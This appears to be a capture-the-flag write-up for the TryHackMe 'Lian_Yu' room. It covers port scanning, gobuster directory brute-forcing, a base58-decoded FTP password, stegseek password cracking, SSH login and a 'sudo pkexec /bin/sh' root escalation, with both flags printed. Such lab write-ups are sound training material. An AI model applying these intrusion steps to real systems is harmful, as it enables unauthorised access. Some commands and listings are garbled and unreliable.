Liyan_Yu

A beginner level security challenge



Deploy the VM and Start the Enumeration

IP: 10.10.214.25

Just test network connectivity with target,

—# ping 10.10.214.25

I check the open ports of the target using rustscan.

PORT STATE SERVICE REASON

21/tcp open ftp syn-ack ttl 60

22/tcp open ssh syn-ack ttl 60

80/tcp open http syn-ack ttl 60

111/tcp open rpcbind syn-ack ttl 60

I use nmap to identify version of this services.

*********** Namp scan **********

PORT STATE SERVICE VERSION

21/tcp open ftp vsftpd 3.0.2

22/tcp open ssh OpenSSH 6.7p1 Debian 5+deb8u8 (protocol 2.0)

ssh-hostkey:

```
1024 56:50:bd:11:ef:d4:ac:56:32:c3:ee:73:3e:de:87:f4 (DSA)
```

2048 39:6f:3a:9c:b6:2d:ad:0c:d8:6d:be:77:13:07:25:d6 (RSA)

256 a6:69:96:d7:6d:61:27:96:7e:bb:9f:83:60:1b:52:12 (ECDSA)

|_ 256 3f:43:76:75:a8:5a:a6:cd:33:b0:66:42:04:91:fe:a0 (ED25519)

80/tcp open http Apache httpd

|_http-server-header: Apache

|_http-title: Purgatory

111/tcp open rpcbind 2-4 (RPC #100000)

| rpcinfo:

program version port/proto service

100000 3,4 111/tcp6 rpcbind

Device type: general purpose

Running: Linux 4.X

OS CPE: cpe:/o:linux:linux_kernel:4.4

OS details: Linux 4.4 Network Distance: 5 hops

Service Info: OSs: Unix, Linux; CPE: cpe:/o:linux:linux_kernel

Q1: What is the Web Directory you found?

To find the web directories we can use Gobuster (And also, ffuf, dirsearch, ..., etc)

Gobuster v3.6

by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)

[+] Url: http://10.10.214.25/

[+] Method: GET [+] Threads: 100

[+] Wordlist: /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt

[+] Negative Status codes: 404

[+] User Agent: gobuster/3.6

[+] Extensions: txt,php

[+] Timeout: 10s

Starting gobuster in directory enumeration mode

[2K/island (Status: 301) [Size: 235] [--> http://10.10.214.25/island/]

Hint on this question: In numbers (directory should be numbers)

To create a file that includes all numbers from 0000 to 9999, we can use command seg -w 0 9999 > numbers.txt

Then,

gobuster dir -u http://10.10.214.25/island/ -w numbers.txt

Gobuster v3.6

by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)

[+] Url: http://10.10.214.25/island/

[+] Method: GET [+] Threads: 10

[+] Wordlist: numbers.txt[+] Negative Status codes: 404[+] User Agent: gobuster/3.6

[+] Timeout: 10s

Starting gobuster in directory enumeration mode

/2100 (Status: 301) [Size: 240] [--> http://10.10.214.25/island/2100/]

ANSWER: 2100

Q2: what is the file name you found?

When we go to the web page(http://10.10.214.25/island/2100/)

3rd scan>>>>>>>>>

gobuster dir -u http://10.10.214.25/island/2100 -w

/usr/share/wordlists/dirbuster/directory-list-lowercase-2.3-medium.txt -x .ticket -t 50

Gobuster v3.6

by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)

[+] Url: http://10.10.214.25/island/2100

[+] Method: GET [+] Threads: 50

[+] Wordlist: /usr/share/wordlists/dirbuster/directory-list-lowercase-2.3-medium.txt

[+] Negative Status codes: 404

[+] User Agent: gobuster/3.6

[+] Extensions: ticket [+] Timeout: 10s

Starting gobuster in directory enumeration mode

/green_arrow.ticket (Status: 200) [Size: 71]

ANSWER: green_arrow.ticket

http://10.10.214.25/island/2100/green_arrow.ticket

In this path:

>>>> This is just a token to get into Queen's Gambit(Ship)

RTy8yhBQdscX

Q3: what is the FTP Password?

Using cybercheff: RTy8yhBQdscX

base58 -> !#th3h00d

ANSWER: !#th3h00d

So, ftp

<u>USERNAME</u>: vigilante <u>PASSWORD</u>: !#th3h00d

Connected to 10.10.87.208. 220 (vsFTPd 3.0.2) Name (10.10.87.208:kali): vigilante 331 Please specify the password. Password: 230 Login successful. Remote system type is UNIX. Using binary mode to transfer files. ftp> Is 229 Entering Extended Passive Mode (|| | 54032|). 150 Here comes the directory listing. 511720 May 01 2020 Leave_me_alone.png -rw-r--r-- 10 -rw-r--r-- 10 0 549924 May 05 2020 Queen's_Gambit.png -rw-r--r-- 10 191026 May 01 2020 aa.jpg 0 226 Directory send OK. ftp> Is -la 229 Entering Extended Passive Mode (| | | 5095|). 150 Here comes the directory listing. 4096 May 05 2020. drwxr-xr-x 2 1001 1001 4096 May 01 2020 .. drwxr-xr-x 40 0 -rw----- 1 1001 1001 44 May 01 2020 .bash_history -rw-r--r-- 1 1001 1001 220 May 01 2020 .bash_logout -rw-r--r-- 1 1001 1001 3515 May 01 2020 .bashrc 2483 May 01 2020 .other_user -rw-r--r-- 10 0 -rw-r--r-- 1 1001 1001 675 May 01 2020 .profile -rw-r--r- 10 0 511720 May 01 2020 Leave_me_alone.png -rw-r--r-- 10 0 549924 May 05 2020 Queen's_Gambit.png -rw-r--r-- 10 191026 May 01 2020 aa.jp 0

**** use mget * to get all files (also use get)

```
**** All files are images so,
use steghide and stegseek(to get the passpres)

—# stegseek aa.jpg /usr/share/wordlists/rockyou.txt

StegSeek 0.6 - https://github.com/RickdeJager/StegSeek
```

- [i] Found passphrase: "password"
- [i] Original filename: "ss.zip".
- [i] Extracting to "aa.jpg.out".

ALSO USE ,hexeditor and ghex to configure curupted hex values Leave_me_along.pnh file is currupted.(check by using ghex) 89 50 4E 47 0D 0A 1A 0A

then use > steghide extract -sf aa.jpg this will get ss.zip

unzip it it get two files. shado and passwd.txt

shado include ssh password

Q4: what is the file name with SSH password?

ANSWER: shado

SSH login

USERNAME: slade

PASSWORD: M3tahuman

ssh slade@10.10.87.208

slade@10.10.87.208's password:

Way To SSH...

Loading.......Done..

Connecting To Lian_Yu Happy Hacking

slade@LianYu:~\$ ls user.txt

asci icite

slade@LianYu:~\$ cat user.txt

THM{P30P7E_K33P_53CRET5__C0MPUT3R5_D0N'T}

--Felicity Smoak

slade@LianYu:~\$ sudo -l
[sudo] password for slade:
Matching Defaults entries for slade on LianYu:
 env_reset, mail_badpass,
secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin

User slade may run the following commands on LianYu:
 (root) PASSWD: /usr/bin/pkexec
slade@LianYu:~\$ sudo pkexec /bin/sh
id
uid=0(root) gid=0(root) groups=0(root)
ls
root.txt
cat root.txt
Mission accomplished

You are injected me with Mirakuru:) ---> Now slade Will become DEATHSTROKE.

THM{MY_W0RD_I5_MY_B0ND_IF_I_ACC3PT_YOUR_CONTRACT_THEN_IT_WILL_BE_COMPL3TE D_OR_I'LL_BE_D34D}

-- DEATHSTROKE

Let me know your comments about this machine :) I will be available @twitter @User6825

#